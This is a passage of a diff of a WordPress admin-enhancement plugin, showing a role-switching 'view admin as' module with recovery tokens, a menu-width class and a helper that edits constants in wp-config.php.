$nonce = sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) );
if ( 'switch_role_to' === $action ) {
// Check nonce validity and role existence
$wp_roles = array_keys( wp_roles()->roles ); // indexed array of all WP roles
if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {
return;
}
if ( ! wp_verify_nonce( $nonce, 'asenha_view_admin_as_' . $new_role ) || ! in_array( $new_role, $wp_roles, true ) ) {
return; // cancel role switching
}
// Get original roles (before role switching) of the current user
$original_role_slugs = get_user_meta( get_current_user_id(), '_asenha_view_admin_as_original_roles', true );
// Store original user role(s) before switching it to another role
if ( empty( $original_role_slugs ) ) {
update_user_meta( get_current_user_id(), '_asenha_view_admin_as_original_roles', $current_user_role_slugs );
}
$this->ensure_recovery_token( get_current_user_id() );
// Store current user's username in options
if ( ! in_array( $current_user_username, $usernames, true ) ) {
$usernames[] = $current_user_username;
}
$options['viewing_admin_as_role_are'] = array_values( array_unique( $usernames ) );
update_option( ASENHA_SLUG_U, $options, true );
self::$is_internal_role_switch = true;
// Remove all current roles from current user.
foreach ( $current_user_role_slugs as $current_user_role_slug ) {
$current_user->remove_role( $current_user_role_slug );
}
// Add new role to current user
$current_user->add_role( $new_role );
self::$is_internal_role_switch = false;
// Mark that the user has switched to a non-administrator role
update_user_meta( get_current_user_id(), '_asenha_viewing_admin_as', $new_role );
wp_safe_redirect( get_admin_url() );
exit;
}
if ( 'switch_back_to_administrator' === $action ) {
// Check nonce validity
if ( ! is_user_logged_in() ) {
return;
}
if ( ! wp_verify_nonce( $nonce, 'asenha_view_admin_as_administrator' ) || ( $new_role != 'administrator' ) ) {
return; // cancel role switching
}
if ( ! in_array( $current_user_username, $usernames, true ) ) {
return;
}
self::$is_internal_role_switch = true;
// Remove all current roles from current user.
foreach ( $current_user_role_slugs as $current_role_slug ) {
$current_user->remove_role( $current_role_slug );
}
// Get original roles (before role switching) of the current user
$original_role_slugs = get_user_meta( get_current_user_id(), '_asenha_view_admin_as_original_roles', true );
// Add the original roles to the current user
if ( ! empty( $original_role_slugs ) && is_array( $original_role_slugs ) ) {
foreach ( $original_role_slugs as $original_role_slug ) {
$current_user->add_role( $original_role_slug );
}
}
self::$is_internal_role_switch = false;
// Mark that the user has switched back to an administrator role
update_user_meta( get_current_user_id(), '_asenha_viewing_admin_as', 'administrator' );
$switch_back_user_id = get_current_user_id();
$this->clear_view_admin_as_recovery_state( $switch_back_user_id );
$plain_token = $this->generate_recovery_token( $switch_back_user_id );
$recovery_url = $this->get_recovery_url_for_token( $plain_token );
update_user_meta( $switch_back_user_id, self::RECOVERY_NOTICE_URL_META_KEY, $recovery_url );
wp_safe_redirect( get_admin_url() );
exit;
}
} elseif ( isset( $_REQUEST[ self::RECOVERY_QUERY_ARG ] ) ) {
$reset_token = sanitize_text_field( wp_unslash( $_REQUEST[ self::RECOVERY_QUERY_ARG ] ) );
$reset_user_id = $this->get_user_id_by_reset_token( $reset_token );
if ( $reset_user_id > 0 ) {
$reset_user = get_user_by( 'id', $reset_user_id );
if ( $reset_user && $this->restore_original_roles_for_user( $reset_user ) ) {
$this->redirect_after_token_recovery();
}
}
}
}
/**
* Clear View Admin as Role recovery state for a user.
*
* @since 8.8.5
* @param int $user_id User ID.
* @return void
*/
public function clear_view_admin_as_recovery_state( $user_id ) {
$user_id = (int) $user_id;
if ( $user_id <= 0 ) {
return;
}
$user = get_user_by( 'id', $user_id );
if ( ! $user ) {
return;
}
$username = $user->user_login;
$options = get_option( ASENHA_SLUG_U, array() );
$usernames = isset( $options['viewing_admin_as_role_are'] ) ? $options['viewing_admin_as_role_are'] : array();
if ( ! empty( $usernames ) && is_array( $usernames ) ) {
foreach ( $usernames as $key => $stored_username ) {
if ( $username === $stored_username ) {
unset( $usernames[ $key ] );
}
}
$options['viewing_admin_as_role_are'] = array_values( $usernames );
update_option( ASENHA_SLUG_U, $options, true );
}
delete_user_meta( $user_id, '_asenha_viewing_admin_as' );
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
delete_user_meta( $user_id, self::RESET_TOKEN_META_KEY );
delete_user_meta( $user_id, self::PLAIN_TOKEN_META_KEY );
delete_user_meta( $user_id, self::RECOVERY_NOTICE_URL_META_KEY );
delete_transient( self::RECOVERY_URL_TRANSIENT_PREFIX . $user_id );
}
/**
* Clear recovery state when a user's role is changed outside this module.
*
* @since 8.8.5
* @param int $user_id User ID.
* @param string $role New role.
* @param string[] $old_roles Previous roles.
* @return void
*/
public function maybe_clear_view_admin_as_on_external_role_change( $user_id, $role = '', $old_roles = array() ) {
unset( $role, $old_roles );
if ( self::$is_internal_role_switch ) {
return;
}
$viewing_admin_as = get_user_meta( $user_id, '_asenha_viewing_admin_as', true );
if ( 'administrator' !== $viewing_admin_as && ! empty( $viewing_admin_as ) ) {
$this->clear_view_admin_as_recovery_state( $user_id );
}
}
/**
* When changing a user's role via their profile edit screen, maybe we sbould remove the user's username from a list of usernames that can switch back to the administrator role. This addresses a vulnerability in a rare scenario disclosed by Pathstack.
*
* @since 7.6.3
*/
public function maybe_prevent_switchback_to_administrator( $user_id ) {
if ( self::$is_internal_role_switch ) {
return;
}
$viewing_admin_as = get_user_meta( $user_id, '_asenha_viewing_admin_as', true );
if ( 'administrator' != $viewing_admin_as && ! empty( $viewing_admin_as ) ) {
$this->clear_view_admin_as_recovery_state( $user_id );
}
}
/**
* Add floating button to reset the view/account back to the administrator
*
* @since 6.1.3
*/
public function add_floating_reset_button() {
$options = get_option( ASENHA_SLUG_U, array() );
$admin_usernames_viewing_as_role = isset( $options['viewing_admin_as_role_are'] ) ? $options['viewing_admin_as_role_are'] : array();
$current_user = wp_get_current_user();
$username = $current_user->user_login;
// Show for non-admins
if ( ! current_user_can( 'manage_options' ) && in_array( $username, $admin_usernames_viewing_as_role, true ) ) {
?>
<div id="role-view-reset">
<a href="<?php echo esc_url( $this->get_switch_back_nonce_url() ); ?>" class="button button-primary"><?php esc_html_e( 'Switch back to Administrator', 'admin-site-enhancements' ); ?></a>
</div>
<?php
}
}
/**
* Show admin notice with refreshed recovery URL after switching back while logged in.
*
* @since 8.8.5
* @return void
*/
public function maybe_show_recovery_url_refreshed_notice() {
if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
return;
}
$recovery_url = get_user_meta( get_current_user_id(), self::RECOVERY_NOTICE_URL_META_KEY, true );
if ( empty( $recovery_url ) || ! is_string( $recovery_url ) ) {
return;
}
?>
<div class="notice notice-info is-dismissible asenha-view-admin-as-role-recovery-notice" id="asenha-view-admin-as-role-recovery-notice">
<p>
<?php
echo esc_html__(
'You switched back to the administrator role. Your secret recovery URL has been refreshed. Bookmark the new URL below before testing again.',
'admin-site-enhancements'
);
?>
<br /><strong><?php echo esc_html( $recovery_url ); ?></strong>
</p>
</div>
<?php
}
/**
* Dismiss the recovery URL refreshed admin notice for the current administrator.
*
* @since 8.8.5
* @return void
*/
public function dismiss_recovery_url_refreshed_notice() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_send_json_error(
array(
'message' => __( 'Insufficient permissions.', 'admin-site-enhancements' ),
),
403
);
}
check_ajax_referer( 'asenha-dismiss-view-admin-as-recovery-notice', 'nonce' );
delete_user_meta( get_current_user_id(), self::RECOVERY_NOTICE_URL_META_KEY );
wp_send_json_success();
}
/**
* Enqueue the dismiss handler for the recovery URL refreshed admin notice.
*
* @since 8.8.5
* @return void
*/
public function enqueue_recovery_url_refreshed_notice_script() {
if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
return;
}
$recovery_url = get_user_meta( get_current_user_id(), self::RECOVERY_NOTICE_URL_META_KEY, true );
if ( empty( $recovery_url ) ) {
return;
}
wp_enqueue_script( 'jquery' );
wp_add_inline_script(
'jquery',
'jQuery(function($){$(document).on("click","#asenha-view-admin-as-role-recovery-notice .notice-dismiss",function(){$.post(ajaxurl,{action:"asenha_dismiss_view_admin_as_recovery_notice",nonce:' . wp_json_encode( wp_create_nonce( 'asenha-dismiss-view-admin-as-recovery-notice' ) ) . '});});});'
);
}
/**
* Show custom error page on switch failure, which causes inability to view admin dashboard/pages
*
* @since 1.8.0
*/
public function custom_error_page_on_switch_failure( $callback ) {
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8; ?>" />
<meta name="viewport" content="width=device-width">
<title>WordPress Error</title>
<style type="text/css">
html {
background: #f1f1f1;
}
body {
background: #fff;
border: 1px solid #ccd0d4;
color: #444;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
margin: 2em auto;
padding: 1em 2em;
max-width: 700px;
-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
}
h1 {
border-bottom: 1px solid #dadada;
clear: both;
color: #666;
font-size: 24px;
margin: 30px 0 0 0;
padding: 0;
padding-bottom: 7px;
}
#error-page {
margin-top: 50px;
}
#error-page p,
#error-page .wp-die-message {
font-size: 14px;
line-height: 1.5;
margin: 20px 0;
}
#error-page code {
font-family: Consolas, Monaco, monospace;
}
a {
color: #0073aa;
}
a:hover,
a:active {
color: #006799;
}
a:focus {
color: #124964;
-webkit-box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, 0.8);
box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, 0.8);
outline: none;
}
</style>
</head>
<body id="error-page">
<div class="wp-die-message">Something went wrong. Please try logging in.</div>
</body>
</html>
<?php
}
}
@@ -0,0 +1,31 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Wider Admin Menu module
*
* @since 6.9.5
*/
class Wider_Admin_Menu {
/**
* Set custom admin menu width
*
* @since 5.2.0
*/
public function set_custom_menu_width() {
$options = get_option( ASENHA_SLUG_U, array() );
$custom_width = $options['admin_menu_width'];
$wp_version = get_bloginfo( 'version' );
if ( version_compare( $wp_version, '5', '>' ) ) {
require_once ASENHA_PATH . 'includes/admin-menu-width/wp-v5-greater.php';
} elseif ( version_compare( $wp_version, '4', '>=' ) ) {
require_once ASENHA_PATH . 'includes/admin-menu-width/wp-v4-greater.php';
} else {}
}
}
@@ -0,0 +1,438 @@
<?php
namespace ASENHA\Classes;
use Exception;
/**
* Class with methods to manipulate wp-config.php
*
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
class WP_Config_Transformer {
/**
* The wp-config.php source file
*
* @since 1.0.0
* @access private
* @var string $version The current version of this plugin.
*/
private $wp_config_src;
/**
* The configs defined in wp-config.php
*
* @since 1.0.0
* @access private
* @var string $version The current version of this plugin.
*/
private $wp_configs;
/**
* Get wp-config.php file path
*
* @since 1.0.0
*/
public function wpconfig_file( $type = 'path' ) {
// From wp-load.php
if ( file_exists( ABSPATH . 'wp-config.php' ) ) {
/** The config file resides in ABSPATH */
$file = ABSPATH . 'wp-config.php';
$location = 'WordPress root directory';
} elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) {
/** The config file resides one level above ABSPATH but is not part of another installation */
$file = dirname( ABSPATH ) . '/wp-config.php';
$location = 'parent directory of WordPress root';
} else {
$file = 'Undetectable.';
$location = 'not in WordPress root or it\'s parent directory';
}
if ( !is_writable( $file ) ) {
$writeability = false;
} else {
$writeability = true;
}
if ( $type == 'path' ) {
return $file;
} elseif ( $type == 'location' ) {
return $location;
} elseif ( $type == 'writeability' ) {
return $writeability;
} elseif ( $type == 'status' ) {
return '<div class="ase-wpconfig-status" style="display: none;">The wp-config.php file is located in ' . $location . ' ('. $file . ') and is ' . ( $writeability ) ? 'writeable' : 'not writeable' .'.</div>';
}
}
/**
* Get configs in wp-config.php
*
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function configs( $return_type = 'raw' ) {
$src = file_get_contents( $this->wpconfig_file( 'path' ) );
$configs = array();
$configs['constant'] = array();
$configs['variable'] = array();
// Strip comments.
foreach ( token_get_all( $src ) as $token ) {
if ( in_array( $token[0], array( T_COMMENT, T_DOC_COMMENT ), true ) ) {
$src = str_replace( $token[1], '', $src );
}
}
preg_match_all( '/(?<=^|;|<\?php\s|<\?\s)(\h*define\s*\(\s*[\'"](\w*?)[\'"]\s*)(,\s*(\'\'|""|\'.*?[^\\\\]\'|".*?[^\\\\]"|.*?)\s*)((?:,\s*(?:true|false)\s*)?\)\s*;)/ims', $src, $constants );
preg_match_all( '/(?<=^|;|<\?php\s|<\?\s)(\h*\$(\w+)\s*=)(\s*(\'\'|""|\'.*?[^\\\\]\'|".*?[^\\\\]"|.*?)\s*;)/ims', $src, $variables );
if ( ! empty( $constants[0] ) && ! empty( $constants[1] ) && ! empty( $constants[2] ) && ! empty( $constants[3] ) && ! empty( $constants[4] ) && ! empty( $constants[5] ) ) {
foreach ( $constants[2] as $index => $name ) {
$configs['constant'][ $name ] = array(
'src' => $constants[0][ $index ],
'value' => $constants[4][ $index ],
'parts' => array(
$constants[1][ $index ],
$constants[3][ $index ],
$constants[5][ $index ],
),
);
}
}
if ( ! empty( $variables[0] ) && ! empty( $variables[1] ) && ! empty( $variables[2] ) && ! empty( $variables[3] ) && ! empty( $variables[4] ) ) {
// Remove duplicate(s), last definition wins.
$variables[2] = array_reverse( array_unique( array_reverse( $variables[2], true ) ), true );
foreach ( $variables[2] as $index => $name ) {
$configs['variable'][ $name ] = array(
'src' => $variables[0][ $index ],
'value' => $variables[4][ $index ],
'parts' => array(
$variables[1][ $index ],
$variables[3][ $index ],
),
);
}
}
$this->wp_configs = $configs;
if ( $return_type == 'raw' ) {
return $configs;
} elseif ( $return_type == 'print_r' ) {
return '<pre>' . print_r( $configs, true ) . '</pre>';
}
}
/**
* Checks if a config exists in the wp-config.php file.
*
* @throws Exception If the wp-config.php file is empty.
* @throws Exception If the requested config type is invalid.
*
* @param string $type Config type (constant or variable).
* @param string $name Config name.
*
* @return bool
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function exists( $type, $name ) {
$wp_config_src = file_get_contents( $this->wpconfig_file( 'path' ) );
if ( ! trim( $wp_config_src ) ) {
// throw new Exception( 'Config file is empty.' );
return false; // added in v7.5.4, if wp-config is empty, the $name is definitely not there.
}
// Normalize the newline to prevent an issue coming from OSX.
$this->wp_config_src = str_replace( array( "\n\r", "\r" ), "\n", $wp_config_src );
$this->wp_configs = $this->configs( 'raw' );
if ( ! isset( $this->wp_configs[ $type ] ) ) {
// throw new Exception( esc_html( "Config type '{$type}' does not exist." ) );
return false; // added in v7.5.4, if Config type '{$type}' does not exist, the $name is definitely not there.
}
return isset( $this->wp_configs[ $type ][ $name ] );
}
/**
* Get the value of a config in the wp-config.php file.
*
* @throws Exception If the wp-config.php file is empty.
* @throws Exception If the requested config type is invalid.
*
* @param string $type Config type (constant or variable).
* @param string $name Config name.
*
* @return array
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function get_value( $type, $name ) {
$wp_config_src = file_get_contents( $this->wpconfig_file( 'path' ) );
if ( ! trim( $wp_config_src ) ) {
throw new Exception( 'Config file is empty.' );
}
$this->wp_config_src = $wp_config_src;
$this->wp_configs = $this->configs( 'raw' );
if ( ! isset( $this->wp_configs[ $type ] ) ) {
throw new Exception( esc_html( "Config type '{$type}' does not exist." ) );
}
if ( isset( $this->wp_configs[ $type ][ $name ] ) ) {
return $this->wp_configs[ $type ][ $name ]['value'];
} else {
return '';
}
}
/**
* Adds a config to the wp-config.php file.
*
* @throws Exception If the config value provided is not a string.
* @throws Exception If the config placement anchor could not be located.
*
* @param string $type Config type (constant or variable).
* @param string $name Config name.
* @param string $value Config value.
* @param array $options (optional) Array of special behavior options.
*
* @return bool
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function add( $type, $name, $value, array $options = array() ) {
if ( ! is_string( $value ) ) {
throw new Exception( 'Config value must be a string.' );
}
if ( $this->exists( $type, $name ) ) {
return false;
}
if ( in_array( $value, array( 'true', 'false' ), true ) ) {
$raw_input = true;
} else {
$raw_input = false;
}
$wp_config_src = file_get_contents( $this->wpconfig_file( 'path' ) );
if ( false !== strpos( $wp_config_src, "Happy publishing" ) ) {
$anchor = "/* That's all, stop editing! Happy publishing. */";
} elseif ( false !== strpos( $wp_config_src, "Happy blogging" ) ) {
$anchor = "/* That's all, stop editing! Happy blogging. */";
} elseif ( false !== strpos( $wp_config_src, "Absolute path to" ) ) {
$anchor = "/** Absolute path to the WordPress directory. */";
} else {
$anchor = '/* Add any custom values between this line and the "stop editing" line. */';
}
$defaults = array(
'raw' => $raw_input, // Display value in raw format without quotes.
'anchor' => $anchor, // Config placement anchor string.
'separator' => PHP_EOL, // Separator between config definition and anchor string.
'placement' => 'before', // Config placement direction (insert before or after).
);
// list( $raw, $anchor, $separator, $placement ) = array_values( $options );
list( $raw, $anchor, $separator, $placement ) = array_values( array_merge( $defaults, $options ) );;
$raw = (bool) $raw;
$anchor = (string) $anchor;
$separator = (string) $separator;
$placement = (string) $placement;
if ( 'EOF' === $anchor ) {
$contents = $this->wp_config_src . $this->normalize( $type, $name, $this->format_value( $value, $raw ) );
} else {
if ( false === strpos( $this->wp_config_src, $anchor ) ) {
throw new Exception( 'Unable to locate placement anchor.' );
}
$new_src = $this->normalize( $type, $name, $this->format_value( $value, $raw ) );
$new_src = ( 'after' === $placement ) ? $anchor . $separator . $new_src : $new_src . $separator . $anchor;
$contents = str_replace( $anchor, $new_src, $this->wp_config_src );
}
return $this->save( $contents );
}
/**
* Updates an existing config in the wp-config.php file.
*
* @throws Exception If the config value provided is not a string.
*
* @param string $type Config type (constant or variable).
* @param string $name Config name.
* @param string $value Config value.
* @param array $options (optional) Array of special behavior options.
*
* @return bool
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function update( $type, $name, $value, array $options = array() ) {
if ( ! is_string( $value ) ) {
throw new Exception( 'Config value must be a string.' );
}
// $defaults = array(
// 'add' => true, // Add the config if missing.
// 'raw' => false, // Display value in raw format without quotes.
// 'normalize' => false, // Normalize config output using WP Coding Standards.
// );
// list( $add, $raw, $normalize ) = array_values( array_merge( $defaults, $options ) );
list( $add, $raw, $normalize ) = array_values( $options );
$add = (bool) $add;
$raw = (bool) $raw;
$normalize = (bool) $normalize;
if ( ! $this->exists( $type, $name ) ) {
return ( $add ) ? $this->add( $type, $name, $value ) : false;
}
$old_src = $this->wp_configs[ $type ][ $name ]['src'];
$old_value = $this->wp_configs[ $type ][ $name ]['value'];
$new_value = $this->format_value( $value, $raw );
if ( $normalize ) {
$new_src = $this->normalize( $type, $name, $new_value );
} else {
$new_parts = $this->wp_configs[ $type ][ $name ]['parts'];
$new_parts[1] = str_replace( $old_value, $new_value, $new_parts[1] ); // Only edit the value part.
$new_src = implode( '', $new_parts );
}
$contents = preg_replace(
sprintf( '/(?<=^|;|<\?php\s|<\?\s)(\s*?)%s/m', preg_quote( trim( $old_src ), '/' ) ),
'$1' . str_replace( '$', '\$', trim( $new_src ) ),
$this->wp_config_src
);
return $this->save( $contents );
}
/**
* Removes a config from the wp-config.php file.
*
* @param string $type Config type (constant or variable).
* @param string $name Config name.
*
* @return bool
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function remove( $type, $name ) {
if ( ! $this->exists( $type, $name ) ) {
return false;
}
$wp_config_src = file_get_contents( $this->wpconfig_file( 'path' ) );
$this->wp_config_src = str_replace( array( "\n\r", "\r" ), "\n", $wp_config_src );
$this->wp_configs = $this->configs( 'raw' );
$pattern = sprintf( '/(?<=^|;|<\?php\s|<\?\s)%s\s*(\S|$)/m', preg_quote( $this->wp_configs[$type][$name]['src'], '/' ) );
$contents = preg_replace( $pattern, '$1', $this->wp_config_src );
return $this->save( $contents );
}
/**
* Applies formatting to a config value.
*
* @throws Exception When a raw value is requested for an empty string.
*
* @param string $value Config value.
* @param bool $raw Display value in raw format without quotes.
*
* @return mixed
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function format_value( $value, $raw ) {
if ( $raw && '' === trim( $value ) ) {
throw new Exception( 'Raw value for empty string not supported.' );
}
return ( $raw ) ? $value : var_export( $value, true );
}
/**
* Normalizes the source output for a name/value pair.
*
* @throws Exception If the requested config type does not support normalization.
*
* @param string $type Config type (constant or variable).
* @param string $name Config name.
* @param mixed $value Config value.
*
* @return string
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function normalize( $type, $name, $value ) {
if ( 'constant' === $type ) {
$placeholder = "define( '%s', %s );";
} elseif ( 'variable' === $type ) {
$placeholder = '$%s = %s;';
} else {
throw new Exception( esc_html( "Unable to normalize config type '{$type}'." ) );
}
return sprintf( $placeholder, $name, $value );
}
/**
* Saves new contents to the wp-config.php file.
*
* @throws Exception If the config file content provided is empty.
* @throws Exception If there is a failure when saving the wp-config.php file.
*
* @param string $contents New config contents.
*
* @return bool
* @since 1.0.0
* @link https://plugins.svn.wordpress.org/debug-log-config-tool/tags/1.1/src/Classes/vendor/WPConfigTransformer.php
*/
public function save( $contents ) {
if ( ! trim( $contents ) ) {
throw new Exception( 'Cannot save the config file with empty contents.' );
}
if ( $contents === $this->wp_config_src ) {
return false;
}
$result = file_put_contents( $this->wpconfig_file( 'path' ), $contents, LOCK_EX );
if ( false === $result ) {
throw new Exception( 'Failed to update the config file.' );
}
return true;
}
}